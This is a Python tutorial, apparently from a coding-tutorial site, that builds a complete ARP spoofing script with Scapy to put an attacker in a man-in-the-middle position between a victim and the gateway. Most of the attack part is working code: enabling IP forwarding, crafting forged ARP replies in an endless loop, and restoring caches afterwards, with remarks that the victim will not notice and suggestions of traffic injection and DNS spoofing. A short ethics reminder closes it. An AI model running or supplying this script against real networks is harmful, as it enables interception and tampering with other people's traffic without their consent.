Step up your coding game with AI-powered Code Explainer. Get insights like never before!
In this tutorial, we will build an ARP spoof script using the Scapy library in Python.
In brief, it is a method of gaining a man-in-the-middle situation. Technically speaking, it is a technique by which an attacker sends spoofed ARP packets (false packets) onto the network (or specific hosts), enabling the attacker to intercept, change or modify network traffic on the fly.
Once you (as an attacker) are a man in the middle, you can literally intercept or change everything that passes in or out of the victim's device. So, in this tutorial, we will write a Python script to do just that.
In a regular network, all devices normally communicate to the gateway and then to the internet, as shown in the following image:
Now the attacker needs to send ARP responses to both hosts:
Once the attacker performs an ARP Spoof attack, as shown in the previous figure, they will be in the man-in-the-middle situation:
At this moment, once the victim sends any packet (an HTTP request, for instance), it will pass first to the attacker's machine. Then it will forward the packet to the gateway, so, as you may notice, the victim does not know about that attack. In other words, they won't be able to figure out that they are being attacked.
Alright, enough theory! Before we get started, you need to install the required libraries:
pip3 install scapy
Check this tutorial to get Scapy to work correctly on your machine if you're on Windows. Additionally, you need to install pywin32, like so:
pip3 install pywin32
Before anything else, we need to import the necessary modules:
from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys
Note: You need to have the Scapy library installed on your machine, head to this post or the official Scapy website.
In the beginning, I need to mention that we need to have IP forwarding enabled.
There are many ways to enable IP route in various platforms. However, I made a python module here to enable IP routing in Windows without worrying about anything.
For Unix-like users (the suggested platform for this tutorial), you need to edit the file "/proc/sys/net/ipv4/ip_forward" which requires root access, and put a value of 1 that indicates as enabled. Check this tutorial for more information. This function does it anyways:
def _enable_linux_iproute():
"""
Enables IP route ( IP Forward ) in linux-based distro
"""
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
if f.read() == 1:
# already enabled
return
with open(file_path, "w") as f:
print(1, file=f)
For Windows users, once you copy services.py
in your current directory, you can copy-paste this function:
def _enable_windows_iproute():
"""
Enables IP route (IP Forwarding) in Windows
"""
from services import WService
# enable Remote Access service
service = WService("RemoteAccess")
service.start()
The function below handles enabling IP routing in all platforms:
def enable_ip_route(verbose=True):
"""
Enables IP forwarding
"""
if verbose:
print("[!] Enabling IP Routing...")
_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")
Now, let's get into the cool stuff. First, we need a utility function that allows us to get the MAC address of any machine in the network:
def get_mac(ip):
"""
Returns MAC address of any device connected to the network
If ip is down, returns None instead
"""
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
if ans:
return ans[0][1].src
Related: How to Make a MAC Address Changer in Python
We use Scapy's srp() function that sends requests as packets and keeps listening for responses; in this case, we're sending ARP requests and listening for any ARP responses.
Second, we are going to create a function that does the core work of this tutorial; given a target IP address and a host IP address, it changes the ARP cache of the target IP address, saying that we have the host's IP address:
def spoof(target_ip, host_ip, verbose=True):
"""
Spoofs `target_ip` saying that we are `host_ip`.
it is accomplished by changing the ARP cache of the target (poisoning)
"""
# get the mac address of the target
target_mac = get_mac(target_ip)
# craft the arp 'is-at' operation packet, in other words; an ARP response
# we don't specify 'hwsrc' (source MAC address)
# because by default, 'hwsrc' is the real MAC address of the sender (ours)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
# send the packet
# verbose = 0 means that we send the packet without printing any thing
send(arp_response, verbose=0)
if verbose:
# get the MAC address of the default interface we are using
self_mac = ARP().hwsrc
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
Related: Build 24 Ethical Hacking Scripts & Tools with Python Book
The above code gets the MAC address of the target, crafts the malicious ARP reply (response) packet, and then sends it.
Once we want to stop the attack, we need to re-assign the real addresses to the target device (as well as the gateway), if we don't do that, the victim will lose internet connection, and it will be evident that something happened, we don't want to do that, we will send seven legitimate ARP reply packets (a common practice) sequentially:
def restore(target_ip, host_ip, verbose=True):
"""
Restores the normal process of a regular network
This is done by sending the original informations
(real IP and MAC of `host_ip` ) to `target_ip`
"""
# get the real MAC address of target
target_mac = get_mac(target_ip)
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = get_mac(host_ip)
# crafting the restoring packet
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at")
# sending the restoring packet
# to restore the network to its normal process
# we send each reply seven times for a good measure (count=7)
send(arp_response, verbose=0, count=7)
if verbose:
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
This was similar to the spoof() function, and the only difference is that it is sending few legitimate packets. In other words, it is sending true information.
Now we are going to need to write the main code, which is spoofing both; the target and host (gateway) infinitely until CTRL+C is detected, so we will restore the original addresses:
if __name__ == "__main__":
# victim ip address
target = "192.168.1.100"
# gateway ip address
host = "192.168.1.1"
# print progress to the screen
verbose = True
# enable ip forwarding
enable_ip_route()
try:
while True:
# telling the `target` that we are the `host`
spoof(target, host, verbose)
# telling the `host` that we are the `target`
spoof(host, target, verbose)
# sleep for one second
time.sleep(1)
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
restore(target, host)
restore(host, target)
Get: Build 24 Ethical Hacking Scripts & Tools with Python Book
I ran the script on a Linux machine. Here is a screenshot of my result:
In this example, I have used my personal computer as a victim. If you try to check your ARP cache:
You will see that the attacker's MAC address (in this case, "192.168.1.105") is the same as the gateway's. We're absolutely fooled!
In the attacker's machine, when you click CTRL+C to close the program, here is a screenshot of the restore process:
Going back to the victim machine, you'll see the original MAC address of the gateway is restored:
Now, you may say what the benefit of being a man-in-the-middle is? Well, that's a critical question. In fact, you can do many things as long as you have a good experience with Scapy or any other man-in-the-middle tool; the possibilities are endless. For example, you can inject javascript code in HTTP responses, DNS spoof your target, intercept files and modify them on the fly, network sniffing and monitoring, and much more.
So, this was a quick demonstration of an ARP spoof attack, and remember, use this ethically! Use it on your private network, don't use it on a network you don't have authorization.
Check this tutorial for detecting these kinds of attacks in your network!
Finally, in the Ethical Hacking with Python Book, we build over 35 hacking scripts and tools! Check it out here if you're interested.
Happy Coding ♥
Save time and energy with our Python Code Generator. Why start from scratch when you can generate? Give it a try!
View Full Code Create Code for Me
Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!